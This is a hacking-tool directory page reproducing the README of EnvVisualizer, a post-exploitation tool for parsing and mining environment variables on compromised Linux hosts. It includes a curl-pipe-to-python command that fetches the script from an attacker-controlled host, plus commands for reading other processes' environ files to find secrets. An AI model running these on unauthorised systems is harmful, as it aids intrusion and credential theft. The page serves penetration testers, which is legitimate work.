Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
EnvVisualizer — Parse and visualize /proc/self/environ on compromised Linux boxes — categorizes env vars by tech stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) and generates severity-rated insights with ready-to-run commands | Kitploit
Tools/GitHubGitHub/w4r10ck423/envvisualizer
Defensive ToolsVulnerability AnalysisConfiguration AuditingInformation GatheringPost-ExploitationCTFPenetration TestingCloud SecuritySecret DetectionRed Teaming
GitHubw4r10ck423/envvisualizer
1965 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

EnvVisualizer

Parse and visualize /proc/self/environ on compromised Linux boxes — categorizes env vars by tech stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker, etc…) and generates severity-rated insights with ready-to-run commands

View Repository
Share

EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

Parse, categorize, and visualize /proc/self/environ on compromised Linux machines.
Turn a wall of fused environment variable text into structured, color-coded intel — in seconds.


Python Platform License Context Author

Author: @W4r10ck423


The Problem

When you land on a box and read /proc/self/environ, you get this:

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer turns that into this:

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

With rich installed, each category gets its own color-coded table.


Features

  • Three input modes — read the file directly (perfect accuracy), pipe via stdin, or paste a raw string
  • Smart two-class parser — correctly handles concatenated strings where null bytes were stripped by copy-paste; detects uppercase POSIX vars and known lowercase prefixed vars (npm_*, node_*, pip_*, etc.)
  • Six semantic categories — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System, and Other
  • PATH expansion — each directory listed as a bullet point instead of a colon-separated wall
  • Secret detection — flags variables whose names or values match credential patterns (TOKEN, KEY, SECRET, PASSWORD, etc.) with a ⚠ warning
  • Pentest Insights panel — auto-surfaces actionable findings: root context, sudo escalation, exposed Node.js debugger ports, active lifecycle scripts
  • Rich or plain — color-coded tables with rich installed; clean plain-text output as a fallback (zero dependencies required)

Installation

Option 1 — Clone and run (recommended for pentest environments)

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

Option 2 — Install as a system command

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

Option 3 — Single-file drop (no git required)

Copy envvisualizer.py to the target or attacker machine. It runs with zero dependencies:

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

Requirements

DependencyVersionRequired
Python≥ 3.8Yes
rich≥ 13.0No (plain-text fallback)

Usage

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Input modes

MethodCommandAccuracy
Direct file readpython3 envvisualizer.py -f /proc/self/environ✅ Perfect (null-byte split)
Stdin pipecat /proc/self/environ | python3 envvisualizer.py✅ Perfect (null-byte split)
Pasted stringpython3 envvisualizer.py -r 'USER=dev...'✅ Good (two-class heuristic)
No args (demo)python3 envvisualizer.py✅ Perfect (own process)

Tip: Prefer -f whenever you have file access.
The null-byte delimiter in the real file is exact — no heuristics needed.


Examples

Read directly from proc (best accuracy)

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Pipe via stdin

cat /proc/self/environ | python3 envvisualizer.py

Paste a raw string (copy-pasted from a web shell / RCE output)

python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

Plain-text output (no rich dependency)

python3 envvisualizer.py -f /proc/self/environ --no-rich

Output Categories

Variables are grouped into 12 categories, evaluated in priority order (first match wins).

Download Tool